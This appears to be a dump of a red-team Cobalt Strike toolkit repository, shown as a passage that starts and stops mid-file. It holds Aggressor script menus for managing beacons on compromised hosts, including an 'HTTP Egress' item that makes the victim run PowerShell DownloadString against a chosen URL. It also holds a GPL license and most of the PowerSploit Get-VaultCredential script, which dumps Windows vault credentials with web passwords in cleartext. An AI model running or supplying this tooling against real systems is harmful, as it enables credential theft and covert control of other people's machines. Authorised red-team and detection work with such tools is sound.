$treeoutput . "(" . @full_tree[$x][1] . ") " . @full_tree[$x][0]; 189 | $x--; 190 | $y++; 191 | } 192 | return $treeoutput; 193 | } 194 | 195 | # This alias checks whether CS thinks the beacon is an admin based on the '-isadmin' function 196 | alias iscsadmin{ 197 | if (-isadmin $1){ 198 | blog($1, "Beacon is admin"); 199 | } else{ 200 | blog($1, "Beacon is not admin"); 201 | } 202 | } 203 | 204 | # This alias shows the process tree for the beacon 205 | alias bproctree{ 206 | blog($1, "Generate this beacon's process tree...") 207 | $b_pid = beacon_info($1, "pid"); 208 | @ps_arry = wait(bps($1, &pstreeBpsArray)); 209 | } 210 | 211 | popup beacon_bottom { 212 | menu "DebugKit" { 213 | item "Notify at next check-in"{ 214 | local('$bid'); 215 | foreach $bid ($1){ 216 | openOrActivate($bid); 217 | binput($bid, "checkin"); 218 | bcheckin($bid); 219 | on beacon_checkin{ 220 | elog("Beacon: " . $1 . " checked in at $3 as requested"); 221 | } 222 | } 223 | } 224 | item "Display Beacon ID" { 225 | local('$bid'); 226 | foreach $bid ($1) { 227 | openOrActivate($bid); 228 | blog($bid, "This beacon's ID is: " . binfo($bid, "id")); 229 | } 230 | } 231 | item "HTTP Egress" { 232 | local('$bid'); 233 | foreach $bid ($1){ 234 | prompt_text("URL to assess?", "http://google.com", { 235 | $httpDebugURL = $1; 236 | return $httpDebugURL; 237 | }); 238 | sleep(1); 239 | binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")"); 240 | bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")"); 241 | } 242 | } 243 | item "Show beacon's process tree"{ 244 | local('$bid'); 245 | foreach $bid ($1) { 246 | blog($1, "Generate this beacon's process tree...") 247 | $b_pid = beacon_info($1, "pid"); 248 | @ps_arry = wait(bps($1, &pstreeBpsArray)); 249 | } 250 | } 251 | menu "Loaded PowerShell"{ 252 | item "Are PowerShell scripts loaded?"{ 253 | local('$bid') 254 | foreach $bid ($1){ 255 | if (data_query('cmdlets')[$bid] ne $null) { 256 | openOrActivate($bid); 257 | blog($bid, "\c7PowerShell Import Checker Status\cF:\c3 YES, ACTIVE POWERSHELL IMPORT\cF"); 258 | } 259 | else { 260 | openOrActivate($bid); 261 | blog($bid, "\c7PowerShell Import Checker Status\cF:\c4 NO ACTIVE POWERSHELL IMPORTS\cF"); 262 | } 263 | } 264 | } 265 | item "Show loaded PowerShell functions"{ 266 | local('$bid') 267 | foreach $bid ($1){ 268 | if (data_query('cmdlets')[$bid] ne $null) { 269 | openOrActivate($bid); 270 | blog($bid, "\c7Current active PowerShell modules for this Beacon are: \cF" . data_query('cmdlets')[$bid]); 271 | } 272 | else { 273 | openOrActivate($bid); 274 | berror($bid, "\c4ERROR! No active powershell modules"); 275 | } 276 | } 277 | } 278 | } 279 | } 280 | } 281 | 282 | popup ssh { 283 | menu "DebugKit"{ 284 | item "Display Session ID"{ 285 | local('$bid'); 286 | foreach $bid ($1) { 287 | openOrActivate($bid); 288 | blog($bid, "This session's ID is: " . binfo($bid, "id")); 289 | } 290 | } 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /kits/CredKit/scripts/Get-VaultCredential.ps1: -------------------------------------------------------------------------------- 1 | function Get-VaultCredential 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Displays Windows vault credential objects including cleartext web credentials. 7 | 8 | PowerSploit Function: Get-VaultCredential 9 | Author: Matthew Graeber (@mattifestation) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | Get-VaultCredential enumerates and displays all credentials stored in the Windows 17 | vault. Web credentials, specifically are displayed in cleartext. This script was 18 | inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt 19 | 20 | .EXAMPLE 21 | 22 | Get-VaultCredential 23 | 24 | .NOTES 25 | 26 | Only web credentials can be displayed in cleartext. 27 | #> 28 | [CmdletBinding()] Param() 29 | 30 | $OSVersion = [Environment]::OSVersion.Version 31 | $OSMajor = $OSVersion.Major 32 | $OSMinor = $OSVersion.Minor 33 | 34 | #region P/Invoke declarations for vaultcli.dll 35 | $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') 36 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 37 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) 38 | 39 | $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) 40 | $null = $EnumBuilder.DefineLiteral('Undefined', -1) 41 | $null = $EnumBuilder.DefineLiteral('Boolean', 0) 42 | $null = $EnumBuilder.DefineLiteral('Short', 1) 43 | $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) 44 | $null = $EnumBuilder.DefineLiteral('Int', 3) 45 | $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) 46 | $null = $EnumBuilder.DefineLiteral('Double', 5) 47 | $null = $EnumBuilder.DefineLiteral('Guid', 6) 48 | $null = $EnumBuilder.DefineLiteral('String', 7) 49 | $null = $EnumBuilder.DefineLiteral('ByteArray', 8) 50 | $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) 51 | $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) 52 | $null = $EnumBuilder.DefineLiteral('Attribute', 11) 53 | $null = $EnumBuilder.DefineLiteral('Sid', 12) 54 | $null = $EnumBuilder.DefineLiteral('Last', 13) 55 | $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() 56 | 57 | $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) 58 | $null = $EnumBuilder.DefineLiteral('Illegal', 0) 59 | $null = $EnumBuilder.DefineLiteral('Resource', 1) 60 | $null = $EnumBuilder.DefineLiteral('Identity', 2) 61 | $null = $EnumBuilder.DefineLiteral('Authenticator', 3) 62 | $null = $EnumBuilder.DefineLiteral('Tag', 4) 63 | $null = $EnumBuilder.DefineLiteral('PackageSid', 5) 64 | $null = $EnumBuilder.DefineLiteral('AppStart', 100) 65 | $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) 66 | $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() 67 | 68 | $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) 69 | $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') 70 | $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, 71 | @([Runtime.InteropServices.LayoutKind]::Explicit), 72 | $CharsetField, 73 | @([Runtime.InteropServices.CharSet]::Ansi)) 74 | $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 75 | 76 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) 77 | $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') 78 | $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') 79 | $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') 80 | $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') 81 | $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') 82 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 83 | { 84 | $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') 85 | } 86 | $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') 87 | $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') 88 | $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') 89 | $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') 90 | $VAULT_ITEM = $TypeBuilder.CreateType() 91 | 92 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) 93 | $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) 94 | $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) 95 | $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) 96 | $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() 97 | 98 | 99 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') 100 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', 101 | 'vaultcli.dll', 102 | 'Public, Static', 103 | [Reflection.CallingConventions]::Standard, 104 | [Int32], 105 | [Type[]] @([Guid].MakeByRefType(), 106 | [UInt32], 107 | [IntPtr].MakeByRefType()), 108 | [Runtime.InteropServices.CallingConvention]::Winapi, 109 | [Runtime.InteropServices.CharSet]::Auto) 110 | 111 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', 112 | 'vaultcli.dll', 113 | 'Public, Static', 114 | [Reflection.CallingConventions]::Standard, 115 | [Int32], 116 | [Type[]] @([IntPtr].MakeByRefType()), 117 | [Runtime.InteropServices.CallingConvention]::Winapi, 118 | [Runtime.InteropServices.CharSet]::Auto) 119 | 120 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', 121 | 'vaultcli.dll', 122 | 'Public, Static', 123 | [Reflection.CallingConventions]::Standard, 124 | [Int32], 125 | [Type[]] @([IntPtr]), 126 | [Runtime.InteropServices.CallingConvention]::Winapi, 127 | [Runtime.InteropServices.CharSet]::Auto) 128 | 129 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', 130 | 'vaultcli.dll', 131 | 'Public, Static', 132 | [Reflection.CallingConventions]::Standard, 133 | [Int32], 134 | [Type[]] @([Int32], 135 | [Int32].MakeByRefType(), 136 | [IntPtr].MakeByRefType()), 137 | [Runtime.InteropServices.CallingConvention]::Winapi, 138 | [Runtime.InteropServices.CharSet]::Auto) 139 | 140 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', 141 | 'vaultcli.dll', 142 | 'Public, Static', 143 | [Reflection.CallingConventions]::Standard, 144 | [Int32], 145 | [Type[]] @([IntPtr], 146 | [Int32], 147 | [Int32].MakeByRefType(), 148 | [IntPtr].MakeByRefType()), 149 | [Runtime.InteropServices.CallingConvention]::Winapi, 150 | [Runtime.InteropServices.CharSet]::Auto) 151 | 152 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 153 | { 154 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', 155 | 'vaultcli.dll', 156 | 'Public, Static', 157 | [Reflection.CallingConventions]::Standard, 158 | [Int32], 159 | [Type[]] @([IntPtr], 160 | [Guid].MakeByRefType(), 161 | [IntPtr], 162 | [IntPtr], 163 | [IntPtr], 164 | [IntPtr], 165 | [Int32], 166 | [IntPtr].MakeByRefType()), 167 | [Runtime.InteropServices.CallingConvention]::Winapi, 168 | [Runtime.InteropServices.CharSet]::Auto) 169 | } 170 | else 171 | { 172 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', 173 | 'vaultcli.dll', 174 | 'Public, Static', 175 | [Reflection.CallingConventions]::Standard, 176 | [Int32], 177 | [Type[]] @([IntPtr], 178 | [Guid].MakeByRefType(), 179 | [IntPtr], 180 | [IntPtr], 181 | [IntPtr], 182 | [Int32], 183 | [IntPtr].MakeByRefType()), 184 | [Runtime.InteropServices.CallingConvention]::Winapi, 185 | [Runtime.InteropServices.CharSet]::Auto) 186 | } 187 | 188 | $Vaultcli = $TypeBuilder.CreateType() 189 | #endregion 190 | 191 | # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. 192 | function local:Get-VaultElementValue 193 | { 194 | Param ( 195 | [ValidateScript({$_ -ne [IntPtr]::Zero})] 196 | [IntPtr] 197 | $VaultElementPtr 198 | ) 199 | 200 | $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) 201 | $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) 202 | 203 | switch ($PartialElement.Type) 204 | { 205 | $VAULT_ELEMENT_TYPE::String { 206 | $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) 207 | [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) 208 | } 209 | 210 | $VAULT_ELEMENT_TYPE::Boolean { 211 | [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) 212 | } 213 | 214 | $VAULT_ELEMENT_TYPE::Short { 215 | [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) 216 | } 217 | 218 | $VAULT_ELEMENT_TYPE::UnsignedShort { 219 | [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) 220 | } 221 | 222 | $VAULT_ELEMENT_TYPE::Int { 223 | [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) 224 | } 225 | 226 | $VAULT_ELEMENT_TYPE::UnsignedInt { 227 | [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) 228 | } 229 | 230 | $VAULT_ELEMENT_TYPE::Double { 231 | [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) 232 | } 233 | 234 | $VAULT_ELEMENT_TYPE::Guid { 235 | [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) 236 | } 237 | 238 | $VAULT_ELEMENT_TYPE::Sid { 239 | $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) 240 | Write-Verbose "0x$($SidPtr.ToString('X8'))" 241 | $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) 242 | $SidObject.Value 243 | } 244 | 245 | # These elements are currently unimplemented. 246 | # I have yet to see these used in practice. 247 | $VAULT_ELEMENT_TYPE::ByteArray { $null } 248 | $VAULT_ELEMENT_TYPE::TimeStamp { $null } 249 | $VAULT_ELEMENT_TYPE::ProtectedArray { $null } 250 | $VAULT_ELEMENT_TYPE::Attribute { $null } 251 | $VAULT_ELEMENT_TYPE::Last { $null } 252 | } 253 | } 254 | 255 | $VaultCount = 0 256 | $VaultGuidPtr = [IntPtr]::Zero 257 | $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) 258 | 259 | if ($Result -ne 0) 260 | { 261 | throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" 262 | } 263 | 264 | $GuidAddress = $VaultGuidPtr 265 | 266 | $VaultSchema = @{ 267 | ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' 268 | ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' 269 | ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' 270 | ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' 271 | ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' 272 | ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' 273 | ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' 274 | ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' 275 | ([Guid] '00000000-0000-0000-0000-000000000000') = $null 276 | } 277 | 278 | if ($VaultCount) 279 | { 280 | foreach ($i in 1..$VaultCount) 281 | { 282 | $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) 283 | $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + 